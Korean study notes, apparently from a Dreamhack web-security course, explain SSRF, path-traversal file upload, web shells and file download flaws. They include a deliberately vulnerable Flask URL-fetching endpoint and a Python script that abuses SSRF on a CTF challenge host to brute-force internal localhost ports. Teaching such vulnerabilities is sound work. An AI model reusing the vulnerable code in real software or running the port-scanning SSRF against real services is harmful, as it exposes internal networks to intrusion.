: SW가 잘 정의된 API를 통해 통신하는 소규모의 독립적인 서비스로 구성되어 있는 경우의 SW개발을 위한 아키텍처 및 조직적 접근 방식
- 최근 웹 서비스는 지원하는 기능이 증가함에 따라 구성요소가 증가했고, 이에 따라 관리 및 코드의 복잡도를 낮추기 위해 마이크로 서비스들로 웹 서비스를 구현하는 추세이다.
- 각 마이크로서비스는 주로 HTTP, GRPC 등을 사용해 API 통신을 한다.
- 서비스 간 HTTP 통신이 이뤄질 때 요청 내의 이용자의 입력값이 포함될 수 있고, 이를 통해 의도하지 않은 요청이 전송될 수 있다.
Server Side Request Forgery (SSFR)
: 웹 서비스의 요청을 변조하는 취약점으로, 브라우저가 변조된 요청을 보내는 CSRF와는 다르게 웹 서비스의 권한으로 변조된 요청을 보낼 수 있다.
- 최근 대다수 서비스들은 마이크로서비스로 구조를 많이 바꾸고, 새롭게 개발하는 추세이기 때문에 SSRF 취약점의 파급력이 더욱 높아지고 있다.
- 백오피스 서비스( = 관리자 페이지) : 이용자의 행위가 의심스러울 때 해당 계정을 정지시키거나 삭제하는 등 관리자만이 수행할 수 있는 모든 기능을 구현한 서비스, 내부망에 위치
- 웹 서비스는 의심스러운 행위를 탐지하고 실시간으로 대응하기 위해 백오피스의 기능을 실행할 수 있다. (웹 서비스는 외부에서 직접 접근할 수 없는 내부망 서비스와 통신할 수 있다.)
- 만약 공격자가 SSRF 취약점을 통해 웹 서비스의 권한으로 요청을 보낼 수 있다면 공격자는 외부에서 간접적으로 내부망 서비스를 이용할 수 있고 이는 곧 기업에 막대한 피해를 입힐 수 있다.
- 웹 서비스가 보내는 요청을 변조하기 위해 요청 내에 이용자의 입력값이 포함되어야 한다.
- 입력값이 포함되는 예시 : 웹 서비스가 이용자가 입력한 URL에 요청을 보내거나 요청을 보낼 URL에 이용자 번호와 같은 내용이 사용되는 경우, 그리고 이용자가 입력한 값이 HTTP Body에 포함되는 경우로 나눠볼 수 있다.
이용자가 입력한 URL에 요청을 보내는 경우
▶ 분석
# pip3 install flask requests # 파이썬 flask, requests 라이브러리를 설치하는 명령입니다.
# python3 main.py # 파이썬 코드를 실행하는 명령입니다.
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route("/image_downloader")
def image_downloader():
# 이용자가 입력한 URL에 HTTP 요청을 보내고 응답을 반환하는 페이지 입니다.
image_url = request.args.get("image_url", "") # URL 파라미터에서 image_url 값을 가져옵니다.
response = requests.get(image_url) # requests 라이브러리를 사용해서 image_url URL에 HTTP GET 메소드 요청을 보내고 결과를 response에 저장합니다.
return ( # 아래의 3가지 정보를 반환합니다.
response.content, # HTTP 응답으로 온 데이터
200, # HTTP 응답 코드
{"Content-Type": response.headers.get("Content-Type", "")}, # HTTP 응답으로 온 헤더 중 Content-Type(응답 내용의 타입)
)
@app.route("/request_info")
def request_info():
# 접속한 브라우저(User-Agent)의 정보를 출력하는 페이지 입니다.
return request.user_agent.string
app.run(host="127.0.0.1", port=8000)
- 이용자가 전달한 URL에 요청을 보내는 예제 코드
▷ image_downloader
- 이용자가 입력한 image_url을 requests.get함수를 사용해 GET메소드로 HTTP 요청을 보내고 응답을 반환한다.
- 브라우저에서 아래와 같은 URL을 입력하면 드림핵 페이지에 요청을 보내고 응답을 반환한다.
- 내부 HTTP 서버는 포트 번호가 1500이상 1800이하인 임의 포트에서 실행되고 있다.
- 위 URL을 활용하여 스크립트를 작성하면 브루트포스로 포트를 찾을 수 있다.
#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
global chall_url
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data)
return response.text
def find_port():
for port in tqdm(range(1500, 1801)):
img_url = f"http://Localhost:{port}"
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
break
return port
if __name__ == "__main__":
chall_port = int(sys.argv[1])
chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer"
internal_port = find_port()
위 코드를 cmd에서 실행해주었더니 아래와 같이 포트번호가 1739라는 것을 알 수 있었다.
- 공격자의 파일을 웹 서비스의 파일 시스템에 업로드하는 과정에서 발생하는 보안 취약점 - 파일 시스템 상 임의 경로에 원하는 파일을 업로드하거나 악성 확장자를 갖는 파일을 업로드할 수 있을 때 발생 - 원하는 시스템 커맨드를 실행하는 원격 코드 실행 취약점을 유발할 수 있다. - Path Traversal과 악성 파일 업로드로 분류된다.
- 웹 서비스의 파일 시스템에 존재하는 파일을 다운로드하는 과정에서 발생하는 보안 취약점 - 공격자는 웹 서비스의 파일 시스템에 존재하는 임의 파일을 다운로드 받을 수 있다. - 설정 파일, 패스워드 파일, 데이터 베이스 백업 본 등을 다운로드 하여 민감한 정보를 탈취할 수 있고 2차 공격을 수행할 수 있다.
Path Traversal
: 업로드에 존재하는 제약을 우회하여, 임의 디렉토리에 파일을 업로드할 수 있는 취약점
- 파일 업로드를 허용하는 대개의 서비스는 보안을 위해 특정 디렉토리에만 업로드를 허용한다.
- 위와 같은 제한이 없으면 악의적인 이용자가 웹 서버의 소스코드나 서버에 있는 중요 시스템 파일을 덮어 쓸 위험이 있다.
- /fileUpload는 POST요청을 받으면, 클라이언트가 전송한 파일을 ./uploads에 저장한다.
- 이용자가 입력한 파일 이름 f.filename을 그대로 사용하기 때문에 Path Traversal에 취약하다.
- ex) 공격자가 ../ 와 같은 메타문자를 사용하면 uploads를 벗어나 상위 디렉토리에도 파일을 업로드 할 수 있다.
▶ 정상적인 요청
- 파일을 정상적으로 업로드하면 아래와 같이 HTTP요청이 전송된다.
- 요청의 filename 필드의 값이 위 코드 내 f.filename 변수의 값이 된다.
- 이처럼 요청을 보내면 uploads 폴더에 test.txt가 생성된다.
▶ 악의적인 요청
- 아래는 filename 필드를 변조해서 Path Traversal을 수행하는 HTTP 요청이다. filename에 .. 이 포함되어 있으므로 상위 디렉토리 파일이 저장된다.
- 요청을 전송하면 아래와 같이 app.py 파일 위치와 같은 디렉토리에 hack.py가 생성된다. 만약 app.py를 덮어쓴다면, 서버가 재실행될 때 임의의 파이썬 코드를 실행할 수 있다.
▶ 악성 파일 업로드
- 악성 파일 업로드 취약점은 이용자가 파일을 업로드할 때, 이를 제대로 검사하지 않아서 발생하는 취약점을 의미한다.
▷ 웹 셸
- 웹 서버는 .php, .jsp, .asp와 같은 확장자의 파일을 Common Gateway Interface(CGI)로 실행하고, 그 결과를 이용자에게 반환한다.
- 아래 사진은 이용자가 요청한 파일의 확장자가 정규표현식 ".+\.ph(p[3457]?|t|tml)$"를 만족하면, x-httpd-php로 핸들링하게 하는 Apache 설정 파일이다.
- x-httpd-php는 PHP 엔진이며 요청한 파일을 실행하고, 그 결과를 반환한다.
- .php, .php3, .phtml이 위의 정규표현식을 만족한다.
- 많은 웹 서버들이 php 파일에 대해 위와 같은 핸들링을 지원한다.
- 따라서 공격자가 임의의 php 소스 파일을 .php 확장자로 업로드하고, GET 요청을 보낼 수 있다면 CGI에 의해 해당 코드가 실행되도록 할 수 있다.
▷ 악의적인 웹 리소스
- 웹 브라우저는 파일의 확장자나 응답의 Content-Type에 따라 요청을 다양하게 처리한다.
- 만약 요청한 파일의 확장자가 .html이거나, 반환된 Content-Type 헤더가 text/html일 경우 응답은 HTML 엔진으로 처리된다.
- 파일의 확장자가 .png, .jpg 등의 이미지 확장자이거나 Content-Type이 image/png일 경우에는 이미지로 랜더링 된다.
- 만약 공격자가 서버에 exploit.html을 업로드하고, 이에 접근하는 URL이 https://dreamhack.io/uploads/exploit.html이라면, 브라우저는 이를 HTML로 해석된다. exploit.html에 악의적인 스크립트를 삽입하면, Cross-Site-Scripting (XSS) 공격으로 이어질 수 있다.
File Download Vulnerability
: 웹 서비스를 통해 서버의 파일 시스템에 존재하는 파일을 내려 받는 과정에서 발생하는 보안 취약점이며, 이용자가 다운로드할 파일의 이름을 임의로 정할 수 있을 대 발생한다.
- 웹 서비스는 이용자가 업로드한 파일을 다운로드 받거나 이미지를 불러올 때 특정 디렉토리에 있는 파일만 접근하도록 해야 한다.
- Path Traversal을 이용한 파일 다운로드 취약점을 파일 이름을 직접 입력 받아 임의 디렉토리에 있는 파일을 다운로드 받을 수 있는 취약점을 말한다.